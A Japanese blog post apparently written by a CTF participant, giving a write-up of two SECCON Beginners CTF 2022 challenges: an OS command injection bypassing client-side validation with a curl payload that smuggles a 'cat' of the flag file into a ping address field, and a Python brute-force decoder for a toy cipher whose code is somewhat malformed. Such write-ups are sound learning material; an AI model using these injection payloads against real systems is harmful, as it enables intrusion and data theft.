今日はなにの日。

気になったこと勉強になったことのメモ。

今日は、SECCON Beginners CTF 2022に参加してきましたの日。

目次

とある日

SECCON Beginners CTF 2022に参加しました。

ビギナーと言えど、初歩的なものしか答えられませんでしたが、楽しかったです。

WriteUp

解けた問題だけ流れとか記述していきます。

Util

main.goの以下ソースを見る限りOSインジェクションだなと思いました。

commnd := "ping -c 1 -W 1 " + param.Address + " 1>&2"
result, _ := exec.Command("sh", "-c", commnd).CombinedOutput()

Dockerfileに以下のコマンドが実行されていたのでOSインジェクションでFlagファイルをcatするだけで良いと判断しました。

RUN echo "ctf4b{xxxxxxxxxxxxxxxxxx}" > /flag_$(cat /dev/urandom | tr -dc "a-zA-Z0-9" | fold -w 16 | head -n 1).txt

試しにブラウザ上で適当にコマンド打ち込んでもだめなので、index.htmlを見ました。

      if (/^(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)$/.test(address)) {
        var json = {};
        json.address = address

        var xhr = new XMLHttpRequest();
        xhr.open("POST", "/util/ping");
        xhr.setRequestHeader("Content-Type", "application/json");
        xhr.send(JSON.stringify(json));

        document.getElementById("notify").innerHTML = "<p>sending...</p>";

        xhr.onload = function () {
          if (xhr.status != 200) {
            document.getElementById("notify").innerHTML =
              "<p>Request Error : " + xhr.response + "</p>";
          } else {
            document.getElementById("notify").innerHTML =
              "<pre><code>" + JSON.parse(xhr.response).result.replaceAll("\n", "<br />") + "</code></pre>";
          }
        };
      } else {
        document.getElementById("notify").innerHTML = "<p>Invalid IP address</p>";
      }

JSでバリデーションしていると思ったのでcurlで実行すれば良いと判断しました。

なので以下ペイロードを作って、lsコマンドを実行したりしてOSインジェクションの確認後ファイルを探してcatするだけです。

curl -X POST -H "Content-Type: application/json" -d '{"address": "127.0.0.1|cat /flag_A74FIBkN9sELAjOc.txt"}' https://util.quals.beginners.seccon.jp/util/ping

ctf4b{al1_0vers_4re_i1l}

CoughingFox

ソースコードを見る限り、やっていることは単純です。

文字列をバイトに変換してINDEXと合わせて累乗しているだけです。

なので、INDEXにあった数値と文字列をバイト変換してチェックするプログラムを書けば大丈夫だと。

def check():
cipher = [
12147, 20481, 7073, 26615, 19066, 19363, 10852, 11705, 17445, 10640, 10623, 13243, 5789, 17436, 12348, 15891, 2818, 11671, 6410, 16649,
15905, 22240, 7096, 6090, 9624, 16660, 18531, 22533, 24381, 14909, 17705, 21346, 19626, 23452, 14895, 17452, 17733, 22235, 24687, 15649, 21941, 11472]
cipher = [12147, 20481, 7073, 10408, 26615, 19066, 19363, 10852, 11705, 17445, 3028, 10640, 10623, 13243, 5789, 17436, 12348, 10818, 15891, 2818, 13690, 11671, 6410, 16649,
15905, 22240, 7096, 9801, 6090, 9624, 16660, 18531, 22533, 24381, 14909, 17705, 16389, 21346, 19626, 29977, 23452, 14895, 17452, 17733, 22235, 24687, 15649, 21941, 11472]

a = "!",""","#","$","%","&","'","(",")","*","+",",","-",".","/","0","1","2","3","4","5","6","7","8","9",":",";","<","=",">","?","@","A","B","C","D","E","F","G","H","I","J","K","L","M","N","O","P","Q","R","S","T","U","V","W","X","Y","Z","[","/","]","^","_","`","a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z","{","|","}","~"
index = range(6, 48)
for k in index:
    for i in a:
        b = bytes(i, encoding="utf-8")
        c = int.from_bytes(b, byteorder='big')
        tmp = (c + k)**2 + k
        for j in cipher:
            if tmp == j:
                print(b.decode(),end="")
print("exit")

ctf4b{Hey,Fox?YouCanNotTearThatHouseDown,CanYou?}

他にも解けそうな問題が2,3問ありましたが惜しくも解けなかったです。

作問者のWriteUp見る限り惜しいところまでは行ってたっぽいです。